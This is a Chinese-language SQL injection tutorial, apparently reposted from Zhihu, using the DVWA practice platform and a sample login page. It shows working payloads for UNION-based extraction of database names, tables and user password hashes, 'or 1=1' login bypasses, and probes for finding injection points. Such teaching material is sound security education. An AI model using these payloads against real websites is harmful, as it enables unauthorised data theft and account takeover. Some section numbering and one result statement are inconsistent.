Sql注入基礎原理介紹(轉)


一、Sql 注入漏洞詳解

1.1 Sql 注入產生原因及威脅:

  當我們訪問動態網頁時, Web 服務器會向數據訪問層發起 Sql 查詢請求,如果權限驗證通過就會執行 Sql 語句。
這種網站內部直接發送的Sql請求一般不會有危險,但實際情況是很多時候需要結合用戶的輸入數據動態構造 Sql 語句,如果用戶輸入的數據被構造成惡意 Sql 代碼,Web 應用又未對動態構造的 Sql 語句使用的參數進行審查,則會帶來意想不到的危險。

Sql 注入帶來的威脅主要有如下幾點:

  • 猜解后台數據庫,這是利用最多的方式,盜取網站的敏感信息。
  • 繞過認證,列如繞過驗證登錄網站后台。
  • 注入可以借助數據庫的存儲過程進行提權等操作

1.2 Sql 注入示例一.猜解數據庫

接下來我們通過一個實例,讓你更加清楚的理解 Sql 注入猜解數據庫是如何發生的。
使用DVWA滲透測試平台,作為攻擊測試的目標:

 

 

先輸入 1 ,查看回顯 (URL中ID=1,說明php頁面通過get方法傳遞參數):

 

 

那實際上后台執行了什么樣的Sql語句呢?點擊 view source查看源代碼 ,其中的SQL查詢代碼為:

 

可以看到,實際執行的Sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1';

我們是通過控制參數Id的值來返回我們需要的信息。
如果我們不按常理出牌,比如在輸入框中輸入 1' order by 1#
實際執行的Sql語句就會變成:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql語法#后面會被注釋掉,使用這種方法屏蔽掉后面的單引號,避免語法錯誤)

這條語句的意思是查詢users表中user_id為1的數據並按第一字段排行。

輸入 1' order by 1#1' order by 2#時都返回正常:

 

當輸入 1' order by 3#時,返回錯誤:

 

 

由此可知,users表中只有兩個字段,數據為兩列。

 

接下來我們使用 union select聯合查詢繼續獲取信息。
union 運算符可以將兩個或兩個以上 select 語句的查詢結果集合合並成一個結果集合顯示,即執行聯合查詢。需要注意在使用 union 查詢的時候需要和主查詢的列數相同,而我們之前已經知道了主查詢列數為 2,接下來就好辦了。
輸入1' union select database(),user()#進行查詢 :
- database()將會返回當前網站所使用的數據庫名字.
- user()將會返回執行當前查詢的用戶名.

實際執行的Sql語句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

 

 

通過上圖返回信息,我們成功獲取到:
- 當前網站使用數據庫為 dvwa .
- 當前執行查詢用戶名為 root@localhost .

同理我們再輸入 1' union select version(),@@version_compile_os#進行查詢:
- version() 獲取當前數據庫版本.
- @@versioncompileos 獲取當前操作系統。

實際執行的Sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

 

 

通過上圖返回信息,我們又成功獲取到:
- 當前數據庫版本為 : 5.6.31-0ubuntu0.15.10.1.
- 當前操作系統為 : debian-linux-gnu

接下來我們嘗試獲取 dvwa 數據庫中的表名。
information_schema 是 mysql 自帶的一張表,這張數據表保存了 Mysql 服務器所有數據庫的信息,如數據庫名,數據庫的表,表欄的數據類型與訪問權限等。該數據庫擁有一個名為 tables 的數據表,該表包含兩個字段 tablename 和 tableschema,分別記錄 DBMS 中的存儲的表名和表名所在的數據庫。

我們輸入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#進行查詢:
實際執行的Sql語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

 

 

通過上圖返回信息,我們再獲取到:
- dvwa 數據庫有兩個數據表,分別是 guestbook 和 users .

有些同學肯定還不滿足目前獲取到的信息,那么我們接下來嘗試獲取重量級的用戶名、密碼。
由經驗我們可以大膽猜測users表的字段為 user 和 password ,所以輸入:1' union select user,password from users#進行查詢:
實際執行的 Sql 語句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

 

 

可以看到成功爆出用戶名、密碼,密碼采用 md5 進行加密,可以到www.cmd5.com進行解密。
直此,同學們應該已經對 Sql 注入有了一個大概得了解,也清楚了 Sql 注入的強大。

1.3 Sql 注入實例二.驗證繞過

接下來我們再試試另一個利用 Sql 漏洞繞過登錄驗證的實例。
使用事先編寫好的頁面,這是一個普通的登錄頁面,只要輸入正確的用戶名和密碼就能登錄成功。

 

 

我們先嘗試隨意輸入用戶名 123 和密碼 123 登錄:

 

 

從錯誤頁面中我們無法獲取到任何信息。
看看后台代碼如何做驗證的:

 

 

實際執行的操作時:

select * from users where username='123' and password='123'

當查詢到數據表中存在同時滿足 username 和 password 字段時,會返回登錄成功。
按照第一個實例的思路,我們嘗試在用戶名中輸入 123' or 1=1 #, 密碼同樣輸入 123' or 1=1 #

 

 

 

 

為什么能夠成功登陸呢?因為實際執行的語句是:

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照 Mysql 語法,# 后面的內容會被忽略,所以以上語句等同於(實際上密碼框里不輸入任何東西也一樣):

select * from users where username='123' or 1=1

由於判斷語句 or 1=1 恆成立,所以結果當然返回真,成功登錄。
我們再嘗試不使用 # 屏蔽單引號,采用手動閉合的方式:
我們嘗試在用戶名中輸入 123' or '1'='1, 密碼同樣輸入 123' or '1'='1 (不能少了單引號,否則會有語法錯誤):

 

 

 

 

實際執行的 Sql 語句是:

select * from users where username='123' or '1'='1' and password='123' or '1'='1

看到了嗎?兩個 or 語句使 and 前后兩個判斷永遠恆等於真,所以能夠成功登錄。

還有很多其他 Mysql 語句可以巧妙的繞過驗證,同學們可以發散自己的思維進行嘗試。

 

二、判斷 Sql 注入點

通常情況下,可能存在 Sql 注入漏洞的 Url 是類似這種形式 :http://xxx.xxx.xxx/abcd.php?id=XX
對 Sql 注入的判斷,主要有兩個方面:
- 判斷該帶參數的 Url 是否存在 Sql 注入?
- 如果存在 Sql 注入,那么屬於哪種 Sql 注入?

可能存在 Sql 注入攻擊的 ASP/PHP/JSP 動態網頁中,一個動態網頁中可能只有一個參數,有時可能有多個參數。有時是整型參數,有時是字符串型參數,不能一概而論。總之只要是帶有參數的 動態網頁且此網頁訪問了數據庫,那么就有可能存在 Sql 注入。如果程序員沒有足夠的安全意識,沒有進行必要的字符過濾,存在SQL注入的可能性就非常大。


作者:Jewel
鏈接:https://zhuanlan.zhihu.com/p/35723803
來源:知乎
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。

3.1 判斷是否存在 Sql 注入漏洞

最為經典的單引號判斷法
在參數后面加上單引號,比如:

http://xxx/abc.php?id=1'

如果頁面返回錯誤,則存在 Sql 注入。
原因是無論字符型還是整型都會因為單引號個數不匹配而報錯。
(如果未報錯,不代表不存在 Sql 注入,因為有可能頁面對單引號做了過濾,這時可以使用判斷語句進行注入,因為此為入門基礎課程,就不做深入講解了)

3.2 判斷 Sql 注入漏洞的類型

通常 Sql 注入漏洞分為 2 種類型:
- 數字型
- 字符型

其實所有的類型都是根據數據庫本身表的類型所產生的,在我們創建表的時候會發現其后總有個數據類型的限制,而不同的數據庫又有不同的數據類型,但是無論怎么分常用的查詢數據類型總是以數字與字符來區分的,所以就會產生注入點為何種類型。

 

 

3.2.1 數字型判斷:

當輸入的參 x 為整型時,通常 abc.php 中 Sql 語句類型大致如下:
select * from <表名> where id = x
這種類型可以使用經典的 and 1=1and 1=2 來判斷:

  1. Url 地址中輸入 http://xxx/abc.php?id= x and 1=1 頁面依舊運行正常,繼續進行下一步。
  2. Url 地址中繼續輸入 http://xxx/abc.php?id= x and 1=2 頁面運行錯誤,則說明此 Sql 注入為數字型注入。

原因如下:


當輸入 and 1=1時,后台執行 Sql 語句:

select * from <表名> where id = x and 1=1

沒有語法錯誤且邏輯判斷為正確,所以返回正常。

當輸入 and 1=2時,后台執行 Sql 語句:

select * from <表名> where id = x and 1=2

沒有語法錯誤但是邏輯判斷為假,所以返回錯誤。
我們再使用假設法:如果這是字符型注入的話,我們輸入以上語句之后應該出現如下情況:

select * from <表名> where id = 'x and 1=1' 
select * from <表名> where id = 'x and 1=2'

查詢語句將 and 語句全部轉換為了字符串,並沒有進行 and 的邏輯判斷,所以不會出現以上結果,故假設是不成立的。

4.2.2 字符型判斷:

當輸入的參 x 為字符型時,通常 abc.php 中 SQL 語句類型大致如下:
select * from <表名> where id = 'x'
這種類型我們同樣可以使用 and '1'='1and '1'='2來判斷:

  • 1. Url 地址中輸入 http://xxx/abc.php?id= x' and '1'='1 頁面運行正常,繼續進行下一步。
  • 2. Url 地址中繼續輸入 http://xxx/abc.php?id= x' and '1'='2 頁面運行錯誤,則說明此 Sql 注入為字符型注入。

 

原因如下:
當輸入 and '1'='1時,后台執行 Sql 語句:

select * from <表名> where id = 'x' and '1'='1'

語法正確,邏輯判斷正確,所以返回正確。

當輸入 and '1'='2時,后台執行 Sql 語句:

select * from <表名> where id = 'x' and '1'='2'

語法正確,但邏輯判斷錯誤,所以返回正確。同學們同樣可以使用假設法來驗證。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM